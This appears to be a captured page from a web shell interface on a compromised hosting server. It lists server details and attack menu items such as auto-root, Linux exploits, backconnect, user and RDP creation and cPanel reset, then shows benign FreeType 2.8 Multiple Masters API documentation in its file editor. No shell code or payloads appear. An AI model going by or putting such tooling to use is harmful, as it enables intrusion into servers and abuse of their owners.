Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els11.x86_64 #1 SMP Sun Nov 3 09:06:59 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 18.188.107.57
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
freetype-devel-2.8 /
reference /
[ HOME SHELL ]
Name
Size
Permission
Action
README
191
B
-rw-r--r--
ft2-auto_hinter.html
25.14
KB
-rw-r--r--
ft2-base_interface.html
198.19
KB
-rw-r--r--
ft2-basic_types.html
43.09
KB
-rw-r--r--
ft2-bdf_fonts.html
11.52
KB
-rw-r--r--
ft2-bitmap_handling.html
13.38
KB
-rw-r--r--
ft2-bzip2.html
6.16
KB
-rw-r--r--
ft2-cache_subsystem.html
53.65
KB
-rw-r--r--
ft2-cff_driver.html
16.08
KB
-rw-r--r--
ft2-cid_fonts.html
8.92
KB
-rw-r--r--
ft2-computations.html
26.7
KB
-rw-r--r--
ft2-error_code_values.html
15.39
KB
-rw-r--r--
ft2-error_enumerations.html
6.01
KB
-rw-r--r--
ft2-font_formats.html
5.68
KB
-rw-r--r--
ft2-gasp_table.html
8.45
KB
-rw-r--r--
ft2-glyph_management.html
26.62
KB
-rw-r--r--
ft2-glyph_stroker.html
38.7
KB
-rw-r--r--
ft2-glyph_variants.html
13.91
KB
-rw-r--r--
ft2-gx_validation.html
18.11
KB
-rw-r--r--
ft2-gzip.html
8.36
KB
-rw-r--r--
ft2-header_file_macros.html
35.23
KB
-rw-r--r--
ft2-header_inclusion.html
4.5
KB
-rw-r--r--
ft2-incremental.html
19.92
KB
-rw-r--r--
ft2-index.html
69.8
KB
-rw-r--r--
ft2-lcd_filtering.html
17.54
KB
-rw-r--r--
ft2-list_processing.html
18.01
KB
-rw-r--r--
ft2-lzw.html
6.12
KB
-rw-r--r--
ft2-mac_specific.html
14.81
KB
-rw-r--r--
ft2-module_management.html
35.53
KB
-rw-r--r--
ft2-multiple_masters.html
25.88
KB
-rw-r--r--
ft2-ot_validation.html
10.77
KB
-rw-r--r--
ft2-outline_processing.html
50.01
KB
-rw-r--r--
ft2-pcf_driver.html
6.28
KB
-rw-r--r--
ft2-pfr_fonts.html
10.03
KB
-rw-r--r--
ft2-quick_advance.html
10.4
KB
-rw-r--r--
ft2-raster.html
24.83
KB
-rw-r--r--
ft2-sfnt_names.html
16.08
KB
-rw-r--r--
ft2-sizes_management.html
8.94
KB
-rw-r--r--
ft2-system_interface.html
16.9
KB
-rw-r--r--
ft2-toc.html
11.58
KB
-rw-r--r--
ft2-truetype_engine.html
7
KB
-rw-r--r--
ft2-truetype_tables.html
102.02
KB
-rw-r--r--
ft2-tt_driver.html
18.04
KB
-rw-r--r--
ft2-type1_tables.html
44.25
KB
-rw-r--r--
ft2-user_allocation.html
4.15
KB
-rw-r--r--
ft2-version.html
9.73
KB
-rw-r--r--
ft2-winfnt_fonts.html
15.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ft2-multiple_masters.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>FreeType-2.8 API Reference</title> <style type="text/css"> a:link { color: #0000EF; } a:visited { color: #51188E; } a:hover { color: #FF0000; } body { font-family: Verdana, Geneva, Arial, Helvetica, serif; color: #000000; background: #FFFFFF; width: 87%; margin: auto; } div.section { width: 75%; margin: auto; } div.section hr { margin: 4ex 0 1ex 0; } div.section h4 { background-color: #EEEEFF; font-size: medium; font-style: oblique; font-weight: bold; margin: 3ex 0 1.5ex 9%; padding: 0.3ex 0 0.3ex 1%; } div.section p { margin: 1.5ex 0 1.5ex 10%; } div.section pre { margin: 3ex 0 3ex 9%; background-color: #D6E8FF; padding: 2ex 0 2ex 1%; } div.section table.fields { width: 90%; margin: 1.5ex 0 1.5ex 10%; } div.section table.toc { width: 95%; margin: 1.5ex 0 1.5ex 5%; } div.timestamp { text-align: center; font-size: 69%; margin: 1.5ex 0 1.5ex 0; } h1 { text-align: center; } h3 { font-size: medium; margin: 4ex 0 1.5ex 0; } p { text-align: justify; } pre.colored { color: blue; } span.keyword { font-family: monospace; text-align: left; white-space: pre; color: darkblue; } table.fields td.val { font-weight: bold; text-align: right; width: 30%; vertical-align: baseline; padding: 1ex 1em 1ex 0; } table.fields td.desc { vertical-align: baseline; padding: 1ex 0 1ex 1em; } table.fields td.desc p:first-child { margin: 0; } table.fields td.desc p { margin: 1.5ex 0 0 0; } table.index { margin: 6ex auto 6ex auto; border: 0; border-collapse: separate; border-spacing: 1em 0.3ex; } table.index tr { padding: 0; } table.index td { padding: 0; } table.index-toc-link { width: 100%; border: 0; border-spacing: 0; margin: 1ex 0 1ex 0; } table.index-toc-link td.left { padding: 0 0.5em 0 0.5em; font-size: 83%; text-align: left; } table.index-toc-link td.middle { padding: 0 0.5em 0 0.5em; font-size: 83%; text-align: center; } table.index-toc-link td.right { padding: 0 0.5em 0 0.5em; font-size: 83%; text-align: right; } table.synopsis { margin: 6ex auto 6ex auto; border: 0; border-collapse: separate; border-spacing: 2em 0.6ex; } table.synopsis tr { padding: 0; } table.synopsis td { padding: 0; } table.toc td.link { width: 30%; text-align: right; vertical-align: baseline; padding: 1ex 1em 1ex 0; } table.toc td.desc { vertical-align: baseline; padding: 1ex 0 1ex 1em; text-align: left; } table.toc td.desc p:first-child { margin: 0; text-align: left; } table.toc td.desc p { margin: 1.5ex 0 0 0; text-align: left; } </style> </head> <body> <table class="index-toc-link"><tr><td class="left">[<a href="ft2-index.html">Index</a>]</td><td class="right">[<a href="ft2-toc.html">TOC</a>]</td></tr></table> <h1>FreeType-2.8 API Reference</h1> <h1 id="multiple_masters">Multiple Masters</h1> <h2>Synopsis</h2> <table class="synopsis"> <tr><td><a href="#FT_MM_Axis">FT_MM_Axis</a></td><td><a href="#FT_Set_MM_Design_Coordinates">FT_Set_MM_Design_Coordinates</a></td></tr> <tr><td><a href="#FT_Multi_Master">FT_Multi_Master</a></td><td><a href="#FT_Set_Var_Design_Coordinates">FT_Set_Var_Design_Coordinates</a></td></tr> <tr><td><a href="#FT_Var_Axis">FT_Var_Axis</a></td><td><a href="#FT_Get_Var_Design_Coordinates">FT_Get_Var_Design_Coordinates</a></td></tr> <tr><td><a href="#FT_Var_Named_Style">FT_Var_Named_Style</a></td><td><a href="#FT_Set_MM_Blend_Coordinates">FT_Set_MM_Blend_Coordinates</a></td></tr> <tr><td><a href="#FT_MM_Var">FT_MM_Var</a></td><td><a href="#FT_Get_MM_Blend_Coordinates">FT_Get_MM_Blend_Coordinates</a></td></tr> <tr><td><a href="#FT_Get_Multi_Master">FT_Get_Multi_Master</a></td><td><a href="#FT_Set_Var_Blend_Coordinates">FT_Set_Var_Blend_Coordinates</a></td></tr> <tr><td><a href="#FT_Get_MM_Var">FT_Get_MM_Var</a></td><td><a href="#FT_Get_Var_Blend_Coordinates">FT_Get_Var_Blend_Coordinates</a></td></tr> </table> <p>The following types and functions are used to manage Multiple Master fonts, i.e., the selection of specific design instances by setting design axis coordinates.</p> <p>Besides Adobe MM fonts, the interface supports Apple's TrueType GX and OpenType variation fonts. Some of the routines only work with Adobe MM fonts, others will work with all three types. They are similar enough that a consistent interface makes sense.</p> <div class="section"> <h3 id="FT_MM_Axis">FT_MM_Axis</h3> <p>Defined in FT_MULTIPLE_MASTERS_H (freetype/ftmm.h).</p> <pre> <span class="keyword">typedef</span> <span class="keyword">struct</span> FT_MM_Axis_ { <a href="ft2-basic_types.html#FT_String">FT_String</a>* name; <a href="ft2-basic_types.html#FT_Long">FT_Long</a> minimum; <a href="ft2-basic_types.html#FT_Long">FT_Long</a> maximum; } <b>FT_MM_Axis</b>; </pre> <p>A structure to model a given axis in design space for Multiple Masters fonts.</p> <p>This structure can't be used for TrueType GX or OpenType variation fonts.</p> <h4>fields</h4> <table class="fields"> <tr><td class="val" id="name">name</td><td class="desc"> <p>The axis's name.</p> </td></tr> <tr><td class="val" id="minimum">minimum</td><td class="desc"> <p>The axis's minimum design coordinate.</p> </td></tr> <tr><td class="val" id="maximum">maximum</td><td class="desc"> <p>The axis's maximum design coordinate.</p> </td></tr> </table> <hr> <table class="index-toc-link"><tr><td class="left">[<a href="ft2-index.html">Index</a>]</td><td class="middle">[<a href="#">Top</a>]</td><td class="right">[<a href="ft2-toc.html">TOC</a>]</td></tr></table></div> <div class="section"> <h3 id="FT_Multi_Master">FT_Multi_Master</h3> <p>Defined in FT_MULTIPLE_MASTERS_H (freetype/ftmm.h).</p> <pre> <span class="keyword">typedef</span> <span class="keyword">struct</span> FT_Multi_Master_ { <a href="ft2-basic_types.html#FT_UInt">FT_UInt</a> num_axis; <a href="ft2-basic_types.html#FT_UInt">FT_UInt</a> num_designs; <a href="ft2-multiple_masters.html#FT_MM_Axis">FT_MM_Axis</a> axis[T1_MAX_MM_AXIS]; } <b>FT_Multi_Master</b>; </pre> <p>A structure to model the axes and space of a Multiple Masters font.</p> <p>This structure can't be used for TrueType GX or OpenType variation fonts.</p> <h4>fields</h4> <table class="fields"> <tr><td class="val" id="num_axis">num_axis</td><td class="desc"> <p>Number of axes. Cannot exceed 4.</p> </td></tr> <tr><td class="val" id="num_designs">num_designs</td><td class="desc"> <p>Number of designs; should be normally 2^num_axis even though the Type 1 specification strangely allows for intermediate designs to be present. This number cannot exceed 16.</p> </td></tr> <tr><td class="val" id="axis">axis</td><td class="desc"> <p>A table of axis descriptors.</p> </td></tr> </table> <hr> <table class="index-toc-link"><tr><td class="left">[<a href="ft2-index.html">Index</a>]</td><td class="middle">[<a href="#">Top</a>]</td><td class="right">[<a href="ft2-toc.html">TOC</a>]</td></tr></table></div> <div class="section"> <h3 id="FT_Var_Axis">FT_Var_Axis</h3> <p>Defined in FT_MULTIPLE_MASTERS_H (freetype/ftmm.h).</p> <pre> <span class="keyword">typedef</span> <span class="keyword">struct</span> FT_Var_Axis_ { <a href="ft2-basic_types.html#FT_String">FT_String</a>* name; <a href="ft2-basic_types.html#FT_Fixed">FT_Fixed</a> minimum; <a href="ft2-basic_types.html#FT_Fixed">FT_Fixed</a> def; <a href="ft2-basic_types.html#FT_Fixed">FT_Fixed</a> maximum; <a href="ft2-basic_types.html#FT_ULong">FT_ULong</a> tag; <a href="ft2-basic_types.html#FT_UInt">FT_UInt</a> strid; } <b>FT_Var_Axis</b>; </pre> <p>A structure to model a given axis in design space for Multiple Masters, TrueType GX, and OpenType variation fonts.</p> <h4>fields</h4> <table class="fields"> <tr><td class="val" id="name">name</td><td class="desc"> <p>The axis's name. Not always meaningful for TrueType GX or OpenType variation fonts.</p> </td></tr> <tr><td class="val" id="minimum">minimum</td><td class="desc"> <p>The axis's minimum design coordinate.</p> </td></tr> <tr><td class="val" id="def">def</td><td class="desc"> <p>The axis's default design coordinate. FreeType computes meaningful default values for Adobe MM fonts.</p> </td></tr> <tr><td class="val" id="maximum">maximum</td><td class="desc"> <p>The axis's maximum design coordinate.</p> </td></tr> <tr><td class="val" id="tag">tag</td><td class="desc"> <p>The axis's tag (the equivalent to ‘name’ for TrueType GX and OpenType variation fonts). FreeType provides default values for Adobe MM fonts if possible.</p> </td></tr> <tr><td class="val" id="strid">strid</td><td class="desc"> <p>The axis name entry in the font's ‘name’ table. This is another (and often better) version of the ‘name’ field for TrueType GX or OpenType variation fonts. Not meaningful for Adobe MM fonts.</p> </td></tr> </table> <h4>note</h4> <p>The fields ‘minimum’, ‘def’, and ‘maximum’ are 16.16 fractional values for TrueType GX and OpenType variation fonts. For Adobe MM fonts, the values are integers.</p> <hr> <table class="index-toc-link"><tr><td class="left">[<a href="ft2-index.html">Index</a>]</td><td class="middle">[<a href="#">Top</a>]</td><td class="right">[<a href="ft2-toc.html">TOC</a>]</td></tr></table></div> <div class="section"> <h3 id="FT_Var_Named_Style">FT_Var_Named_Style</h3> <p>Defined in FT_MULTIPLE_MASTERS_H (freetype/ftmm.h).</p> <pre> <span class="keyword">typedef</span> <span class="keyword">struct</span> FT_Var_Named_Style_ { <a href="ft2-basic_types.html#FT_Fixed">FT_Fixed</a>* coords; <a href="ft2-basic_types.html#FT_UInt">FT_UInt</a> strid; <a href="ft2-basic_types.html#FT_UInt">FT_UInt</a> psid; /* since 2.7.1 */ } <b>FT_Var_Named_Style</b>; </pre> <p>A structure to model a named instance in a TrueType GX or OpenType variation font.</p> <p>This structure can't be used for Adobe MM fonts.</p> <h4>fields</h4> <table class="fields"> <tr><td class="val" id="coords">coords</td><td class="desc"> <p>The design coordinates for this instance. This is an array with one entry for each axis.</p> </td></tr> <tr><td class="val" id="strid">strid</td><td class="desc"> <p>The entry in ‘name’ table identifying this instance.</p> </td></tr> <tr><td class="val" id="psid">psid</td><td class="desc"> <p>The entry in ‘name’ table identifying a PostScript name for this instance.</p> </td></tr> </table> <hr> <table class="index-toc-link"><tr><td class="left">[<a href="ft2-index.html">Index</a>]</td><td class="middle">[<a href="#">Top</a>]</td><td class="right">[<a href="ft2-toc.html">TOC</a>]</td></tr></table></div> <div class="section"> <h3 id="FT_MM_Var">FT_MM_Var</h3> <p>Defined in FT_MULTIPLE_MASTERS_H (freetype/ftmm.h).</p> <pre> <span class="keyword">typedef</span> <span class="keyword">struct</span> FT_MM_Var_ { <a href="ft2-basic_types.html#FT_UInt">FT_UInt</a> num_axis; <a href="ft2-basic_types.html#FT_UInt">FT_UInt</a> num_designs; <a href="ft2-basic_types.html#FT_UInt">FT_UInt</a> num_namedstyles; <a href="ft2-multiple_masters.html#FT_Var_Axis">FT_Var_Axis</a>* axis; <a href="ft2-multiple_masters.html#FT_Var_Named_Style">FT_Var_Named_Style</a>* namedstyle; } <b>FT_MM_Var</b>; </pre> <p>A structure to model the axes and space of a Adobe MM, TrueType GX, or OpenType variation font.</p> <p>Some fields are specific to one format and not to the others.</p> <h4>fields</h4> <table class="fields"> <tr><td class="val" id="num_axis">num_axis</td><td class="desc"> <p>The number of axes. The maximum value is 4 for Adobe MM fonts; no limit in TrueType GX or OpenType variation fonts.</p> </td></tr> <tr><td class="val" id="num_designs">num_designs</td><td class="desc"> <p>The number of designs; should be normally 2^num_axis for Adobe MM fonts. Not meaningful for TrueType GX or OpenType variation fonts (where every glyph could have a different number of designs).</p> </td></tr> <tr><td class="val" id="num_namedstyles">num_namedstyles</td><td class="desc"> <p>The number of named styles; a ‘named style’ is a tuple of design coordinates that has a string ID (in the ‘name’ table) associated with it. The font can tell the user that, for example, [Weight=1.5,Width=1.1] is ‘Bold’. Another name for ‘named style’ is ‘named instance’.</p> <p>For Adobe Multiple Masters fonts, this value is always zero because the format does not support named styles.</p> </td></tr> <tr><td class="val" id="axis">axis</td><td class="desc"> <p>An axis descriptor table. TrueType GX and OpenType variation fonts contain slightly more data than Adobe MM fonts. Memory management of this pointer is done internally by FreeType.</p> </td></tr> <tr><td class="val" id="namedstyle">namedstyle</td><td class="desc"> <p>A named style (instance) table. Only meaningful for TrueType GX and OpenType variation fonts. Memory management of this pointer is done internally by FreeType.</p> </td></tr> </table> <hr> <table class="index-toc-link"><tr><td class="left">[<a href="ft2-index.html">Index</a>]</td><td class="middle">[<a href="#">Top</a>]</td><td class="right">[<a href="ft2-toc.html">TOC</a>]</td></tr></table></div> <div class="section"> <h3 id="FT_Get_Multi_Master">FT_Get_Multi_Master</h3> <p>Defined in FT_MULTIPLE_MASTERS_H (freetype/ftmm.h).</p> <pre> FT_EXPORT( <a href="ft2-basic_types.html#FT_Error">FT_Error</a> ) <b>FT_Get_Multi_Master</b>( <a href="ft2-base_interface.html#FT_Face">FT_Face</a> face, <a href="ft2-multiple_masters.html#FT_Multi_Master">FT_Multi_Master</a> *amaster ); </pre> <p>Retrieve a variation descriptor of a given Adobe MM font.</p> <p>This function can't be used with TrueType GX or OpenType variation fonts.</p> <h4>input</h4> <table class="fields"> <tr><td class="val" id="face">face</td><td class="desc"> <p>A handle to the source face.</p> </td></tr> </table> <h4>output</h4> <table class="fields"> <tr><td class="val" id="amaster">amaster</td><td class="desc"> <p>The Multiple Masters descriptor.</p> </td></tr> </table> <h4>return</h4> <p>FreeType error code. 0 means success.</p> <hr> <table class="index-toc-link"><tr><td class="left">[<a href="ft2-index.html">Index</a>]</td><td class="middle">[<a href="#">Top</a>]</td><td class="right">[<a href="ft2-toc.html">TOC</a>]</td></tr></table></div> <div class="section"> <h3 id="FT_Get_MM_Var">FT_Get_MM_Var</h3> <p>Defined in FT_MULTIPLE_MASTERS_H (freetype/ftmm.h).</p> <pre> FT_EXPORT( <a href="ft2-basic_types.html#FT_Error">FT_Error</a> ) <b>FT_Get_MM_Var</b>( <a href="ft2-base_interface.html#FT_Face">FT_Face</a> face, <a href="ft2-multiple_masters.html#FT_MM_Var">FT_MM_Var</a>* *amaster ); </pre> <p>Retrieve a variation descriptor for a given font.</p> <p>This function works with all supported variation formats.</p> <h4>input</h4> <table class="fields"> <tr><td class="val" id="face">face</td><td class="desc"> <p>A handle to the source face.</p> </td></tr> </table> <h4>output</h4> <table class="fields"> <tr><td class="val" id="amaster">amaster</td><td class="desc"> <p>The variation descriptor. Allocates a data structure, which the user must deallocate with ‘free’ after use.</p> </td></tr> </table> <h4>return</h4> <p>FreeType error code. 0 means success.</p> <hr> <table class="index-toc-link"><tr><td class="left">[<a href="ft2-index.html">Index</a>]</td><td class="middle">[<a href="#">Top</a>]</td><td class="right">[<a href="ft2-toc.html">TOC</a>]</td></tr></table></div> <div class="section"> <h3 id="FT_Set_MM_Design_Coordinates">FT_Set_MM_Design_Coordinates</h3> <p>Defined in FT_MULTIPLE_MASTERS_H (freetype/ftmm.h).</p> <pre> FT_EXPORT( <a href="ft2-basic_types.html#FT_Error">FT_Error</a> ) <b>FT_Set_MM_Design_Coordinates</b>( <a href="ft2-base_interface.html#FT_Face">FT_Face</a> face, <a href="ft2-basic_types.html#FT_UInt">FT_UInt</a> num_coords, <a href="ft2-basic_types.html#FT_Long">FT_Long</a>* coords ); </pre> <p>For Adobe MM fonts, choose an interpolated font design through design coordinates.</p> <p>This function can't be used with TrueType GX or OpenType variation fonts.</p> <h4>inout</h4> <table class="fields"> <tr><td class="val" id="face">face</td><td class="desc"> <p>A handle to the source face.</p> </td></tr> </table> <h4>input</h4> <table class="fields"> <tr><td class="val" id="num_coords">num_coords</td><td class="desc"> <p>The number of available design coordinates. If it is larger than the number of axes, ignore the excess values. If it is smaller than the number of axes, use default values for the remaining axes.</p> </td></tr> <tr><td class="val" id="coords">coords</td><td class="desc"> <p>An array of design coordinates.</p> </td></tr> </table> <h4>return</h4> <p>FreeType error code. 0 means success.</p> <hr> <table class="index-toc-link"><tr><td class="left">[<a href="ft2-index.html">Index</a>]</td><td class="middle">[<a href="#">Top</a>]</td><td class="right">[<a href="ft2-toc.html">TOC</a>]</td></tr></table></div> <div class="section"> <h3 id="FT_Set_Var_Design_Coordinates">FT_Set_Var_Design_Coordinates</h3> <p>Defined in FT_MULTIPLE_MASTERS_H (freetype/ftmm.h).</p> <pre> FT_EXPORT( <a href="ft2-basic_types.html#FT_Error">FT_Error</a> ) <b>FT_Set_Var_Design_Coordinates</b>( <a href="ft2-base_interface.html#FT_Face">FT_Face</a> face, <a href="ft2-basic_types.html#FT_UInt">FT_UInt</a> num_coords, <a href="ft2-basic_types.html#FT_Fixed">FT_Fixed</a>* coords ); </pre> <p>Choose an interpolated font design through design coordinates.</p> <p>This function works with all supported variation formats.</p> <h4>inout</h4> <table class="fields"> <tr><td class="val" id="face">face</td><td class="desc"> <p>A handle to the source face.</p> </td></tr> </table> <h4>input</h4> <table class="fields"> <tr><td class="val" id="num_coords">num_coords</td><td class="desc"> <p>The number of available design coordinates. If it is larger than the number of axes, ignore the excess values. If it is smaller than the number of axes, use default values for the remaining axes.</p> </td></tr> <tr><td class="val" id="coords">coords</td><td class="desc"> <p>An array of design coordinates.</p> </td></tr> </table> <h4>return</h4> <p>FreeType error code. 0 means success.</p> <hr> <table class="index-toc-link"><tr><td class="left">[<a href="ft2-index.html">Index</a>]</td><td class="middle">[<a href="#">Top</a>]</td><td class="right">[<a href="ft2-toc.html">TOC</a>]</td></tr></table></div> <div class="section"> <h3 id="FT_Get_Var_Design_Coordinates">FT_Get_Var_Design_Coordinates</h3> <p>Defined in FT_MULTIPLE_MASTERS_H (freetype/ftmm.h).</p> <pre> FT_EXPORT( <a href="ft2-basic_types.html#FT_Error">FT_Error</a> ) <b>FT_Get_Var_Design_Coordinates</b>( <a href="ft2-base_interface.html#FT_Face">FT_Face</a> face, <a href="ft2-basic_types.html#FT_UInt">FT_UInt</a> num_coords, <a href="ft2-basic_types.html#FT_Fixed">FT_Fixed</a>* coords ); </pre> <p>Get the design coordinates of the currently selected interpolated font.</p> <p>This function works with all supported variation formats.</p> <h4>input</h4> <table class="fields"> <tr><td class="val" id="face">face</td><td class="desc"> <p>A handle to the source face.</p> </td></tr> <tr><td class="val" id="num_coords">num_coords</td><td class="desc"> <p>The number of design coordinates to retrieve. If it is larger than the number of axes, set the excess values to 0.</p> </td></tr> </table> <h4>output</h4> <table class="fields"> <tr><td class="val" id="coords">coords</td><td class="desc"> <p>The design coordinates array.</p> </td></tr> </table> <h4>return</h4> <p>FreeType error code. 0 means success.</p> <hr> <table class="index-toc-link"><tr><td class="left">[<a href="ft2-index.html">Index</a>]</td><td class="middle">[<a href="#">Top</a>]</td><td class="right">[<a href="ft2-toc.html">TOC</a>]</td></tr></table></div> <div class="section"> <h3 id="FT_Set_MM_Blend_Coordinates">FT_Set_MM_Blend_Coordinates</h3> <p>Defined in FT_MULTIPLE_MASTERS_H (freetype/ftmm.h).</p> <pre> FT_EXPORT( <a href="ft2-basic_types.html#FT_Error">FT_Error</a> ) <b>FT_Set_MM_Blend_Coordinates</b>( <a href="ft2-base_interface.html#FT_Face">FT_Face</a> face, <a href="ft2-basic_types.html#FT_UInt">FT_UInt</a> num_coords, <a href="ft2-basic_types.html#FT_Fixed">FT_Fixed</a>* coords ); </pre> <p>Choose an interpolated font design through normalized blend coordinates.</p> <p>This function works with all supported variation formats.</p> <h4>inout</h4> <table class="fields"> <tr><td class="val" id="face">face</td><td class="desc"> <p>A handle to the source face.</p> </td></tr> </table> <h4>input</h4> <table class="fields"> <tr><td class="val" id="num_coords">num_coords</td><td class="desc"> <p>The number of available design coordinates. If it is larger than the number of axes, ignore the excess values. If it is smaller than the number of axes, use default values for the remaining axes.</p> </td></tr> <tr><td class="val" id="coords">coords</td><td class="desc"> <p>The design coordinates array (each element must be between 0 and 1.0 for Adobe MM fonts, and between -1.0 and 1.0 for TrueType GX and OpenType variation fonts).</p> </td></tr> </table> <h4>return</h4> <p>FreeType error code. 0 means success.</p> <hr> <table class="index-toc-link"><tr><td class="left">[<a href="ft2-index.html">Index</a>]</td><td class="middle">[<a href="#">Top</a>]</td><td class="right">[<a href="ft2-toc.html">TOC</a>]</td></tr></table></div> <div class="section"> <h3 id="FT_Get_MM_Blend_Coordinates">FT_Get_MM_Blend_Coordinates</h3> <p>Defined in FT_MULTIPLE_MASTERS_H (freetype/ftmm.h).</p> <pre> FT_EXPORT( <a href="ft2-basic_types.html#FT_Error">FT_Error</a> ) <b>FT_Get_MM_Blend_Coordinates</b>( <a href="ft2-base_interface.html#FT_Face">FT_Face</a> face, <a href="ft2-basic_types.html#FT_UInt">FT_UInt</a> num_coords, <a href="ft2-basic_types.html#FT_Fixed">FT_Fixed</a>* coords ); </pre> <p>Get the normalized blend coordinates of the currently selected interpolated font.</p> <p>This function works with all supported variation formats.</p> <h4>input</h4> <table class="fields"> <tr><td class="val" id="face">face</td><td class="desc"> <p>A handle to the source face.</p> </td></tr> <tr><td class="val" id="num_coords">num_coords</td><td class="desc"> <p>The number of normalized blend coordinates to retrieve. If it is larger than the number of axes, set the excess values to 0.5 for Adobe MM fonts, and to 0 for TrueType GX and OpenType variation fonts.</p> </td></tr> </table> <h4>output</h4> <table class="fields"> <tr><td class="val" id="coords">coords</td><td class="desc"> <p>The normalized blend coordinates array.</p> </td></tr> </table> <h4>return</h4> <p>FreeType error code. 0 means success.</p> <hr> <table class="index-toc-link"><tr><td class="left">[<a href="ft2-index.html">Index</a>]</td><td class="middle">[<a href="#">Top</a>]</td><td class="right">[<a href="ft2-toc.html">TOC</a>]</td></tr></table></div> <div class="section"> <h3 id="FT_Set_Var_Blend_Coordinates">FT_Set_Var_Blend_Coordinates</h3> <p>Defined in FT_MULTIPLE_MASTERS_H (freetype/ftmm.h).</p> <pre> FT_EXPORT( <a href="ft2-basic_types.html#FT_Error">FT_Error</a> ) <b>FT_Set_Var_Blend_Coordinates</b>( <a href="ft2-base_interface.html#FT_Face">FT_Face</a> face, <a href="ft2-basic_types.html#FT_UInt">FT_UInt</a> num_coords, <a href="ft2-basic_types.html#FT_Fixed">FT_Fixed</a>* coords ); </pre> <p>This is another name of <a href="ft2-multiple_masters.html#FT_Set_MM_Blend_Coordinates">FT_Set_MM_Blend_Coordinates</a>.</p> <hr> <table class="index-toc-link"><tr><td class="left">[<a href="ft2-index.html">Index</a>]</td><td class="middle">[<a href="#">Top</a>]</td><td class="right">[<a href="ft2-toc.html">TOC</a>]</td></tr></table></div> <div class="section"> <h3 id="FT_Get_Var_Blend_Coordinates">FT_Get_Var_Blend_Coordinates</h3> <p>Defined in FT_MULTIPLE_MASTERS_H (freetype/ftmm.h).</p> <pre> FT_EXPORT( <a href="ft2-basic_types.html#FT_Error">FT_Error</a> ) <b>FT_Get_Var_Blend_Coordinates</b>( <a href="ft2-base_interface.html#FT_Face">FT_Face</a> face, <a href="ft2-basic_types.html#FT_UInt">FT_UInt</a> num_coords, <a href="ft2-basic_types.html#FT_Fixed">FT_Fixed</a>* coords ); </pre> <p>This is another name of <a href="ft2-multiple_masters.html#FT_Get_MM_Blend_Coordinates">FT_Get_MM_Blend_Coordinates</a>.</p> <hr> <table class="index-toc-link"><tr><td class="left">[<a href="ft2-index.html">Index</a>]</td><td class="middle">[<a href="#">Top</a>]</td><td class="right">[<a href="ft2-toc.html">TOC</a>]</td></tr></table></div> </body> </html>
Close